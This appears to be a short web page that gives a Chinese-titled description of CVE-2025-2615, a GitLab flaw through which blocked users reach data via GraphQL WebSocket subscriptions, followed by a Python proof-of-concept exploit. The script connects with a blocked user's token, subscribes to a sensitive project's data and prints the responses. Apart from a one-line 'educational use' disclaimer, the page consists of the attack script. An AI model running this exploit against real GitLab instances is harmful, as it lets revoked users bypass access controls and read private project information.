CVE-2025-2615: GitLab被阻止用户通过GraphQL订阅WebSocket访问敏感信息

#!/usr/bin/env python3 """ CVE-2025-2615 PoC - GitLab Blocked User GraphQL Subscription Bypass Note: This PoC is for educational and authorized testing purposes only. """ import asyncio import websockets import json import base64 async def exploit_gitlab_graphql_subscription(gitlab_url, blocked_token): """ PoC for exploiting blocked user GraphQL subscription via WebSocket """ ws_url = gitlab_url.replace("https://", "wss://").replace("http://", "ws://") ws_url += "/-/graphql-explorer" headers = { "Authorization": f"Bearer {blocked_token}", "Sec-WebSocket-Protocol": "graphql-ws" } try: async with websockets.connect(ws_url, extra_headers=headers) as ws: # Step 1: Initialize connection with 'connection_init' init_message = { "type": "connection_init", "payload": { "authorization": f"Bearer {blocked_token}" } } await ws.send(json.dumps(init_message)) # Step 2: Receive connection_ack response = await ws.recv() print(f"[+] Connection response: {response}") # Step 3: Subscribe to sensitive data subscribe_message = { "id": "sensitive-data-sub", "type": "subscribe", "payload": { "query": "subscription { project(fullPath: \"sensitive-project\") { id name } }", "variables": {} } } await ws.send(json.dumps(subscribe_message)) # Step 4: Receive subscription data (if vulnerable) print("[+] Waiting for subscription data...") for _ in range(5): data = await asyncio.wait_for(ws.recv(), timeout=10) print(f"[+] Received: {data}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": import sys if len(sys.argv) < 3: print("Usage: python3 cve_2025_2615_poc.py <gitlab_url> <blocked_user_token>") sys.exit(1) asyncio.run(exploit_gitlab_graphql_subscription(sys.argv[1], sys.argv[2]))